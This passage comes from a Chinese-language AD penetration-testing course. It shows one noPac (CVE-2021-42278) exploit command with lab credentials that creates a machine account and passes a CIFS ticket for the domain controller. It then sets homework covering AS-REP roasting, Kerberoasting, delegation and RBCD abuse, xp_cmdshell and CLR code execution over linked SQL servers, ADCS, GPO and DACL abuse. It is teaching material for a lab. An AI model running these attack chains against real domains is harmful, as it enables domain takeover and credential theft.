接下来,我们需要利用这个漏洞创建一个新的计算机帐号,指定计算机名密码服务类型。该工具集成了 Rubeus 中 S4U 的功能,因此能生成一张 Dc05$ 的 TGT 并将其转换为 CIFS 的 TGS

nopac.exe -domain white-bird.local -user serveradm -pass "Summer2024!" /dc dc05.white-bird.local /mAccount nopac /mPassword Passw0rd /service cifs /ptt

image.png

于是,我们可以访问 dc05 的资源了。

image.png


第8章课后作业

练习

1:在本章节,出于教学目的,有的内容我们以白盒的视角进行讲解的,即默认我们已经拿下了某主机/用户,如 ADCS 的利用。让我们回归到黑盒视角,即所有的权限和凭证都需要我们从 0 开始获得。使用截至目前我们所教授的利用手法,整理一下

例如,在 ADCS 的利用小节,我们默认已经知道了 justin 的凭证,从而利用了 ADCS 实现 med-factory 域内的提权。但如果要从黑盒角度,路线是这样的:

步骤 1:在 PROD 域中发现 jason 不需要预认证,使用 ASREPRoasting 攻击,得到了 jason 的明文凭证

步骤 2:在 MED-FACTORY 域中发现了 jason 用户,可能存在密码重用,于是获得了 med-factory\jason 的访问

步骤 3:med-factory\jason 对 justin 具有修改帐号的权限,修改 justin 的帐号获得访问

步骤 4:利用 ADCS 接管 med-factory 域

这样的攻击路线具有多条且可能相互交织,请整理出所有可能的攻击路径。根据已掌握信息,我们最多可以拿下哪些用户与域?

2:复现 Kerberoasting 与 ASREPRoasting 攻击

3:复现委派的利用,以及在 med-factory 域中,使用练习帐号 deleg_exec:Passw0rddeleg 来获得对 Dc03 的访问

4:尝试使用 Impacket 实现一键 RBCD 的利用

5:在 S4U2Self 部分,我们用 rubeus 进行的利用,将 Dc02$ 的 TGT 变为 CIFS 的 TGS。请使用 Asn1 Editor (https://github.com/PKISolutions/Asn1Editor.WPF) 手动修改 Dc02$ 的 TGT,实现同样的效果。

6:更新之前的对 .NET 应用一键执行任意 SQL 语句的脚本,修改为一键开启 xp_cmdshell 并执行代码 (不要求有回显,但能实现是最好的)

7:使用 SqlRecon 进行 xp_dirtree 

8:使用 PowerUpSQL 执行 xp_cmdshell 代码

9:尝试亲自编译 .NET DLL 并转换为 Hex 格式,实现 CLR RCE

10:从 Srv01 跨链接对 Srv02 进行远程代码执行,使用 OLE 自动化存储的方法。

11:从 Srv01 跨链接对 Srv02 进行远程代码执行,使用 CLR 的方法。

12:从 Srv01 跨越 2 层链接对 Web02 进行远程代码执行,使用任意 RCE 的方法

13:复现 ADCS 的利用

14:复现 GPO 的利用

15:作为一个小练习,请学员们完成如下表格,完成后可以当做自己的一个 Cheatsheet。

DACL 对象类型 利用思路 具体步骤
WriteDacl 用户





计算机

GenericAll 用户





计算机

GenericWrite 用户

为目标用户设置 SPN 然后对其进行 Kerberoasting 攻击

或 为目标用户设置禁用预认证,然后对其进行 ASREPRoasting 攻击






计算机

ForceChangePassword 用户

WriteOwner 任意

AllExtendedRights 用户





计算机
 

16:请根据 CVE-2021-42278 的细节描述,使用 PowerMad、PowerView、Rubeus 等工具手动利用该漏洞 (即不使用一键利用工具或脚本)。

面试专题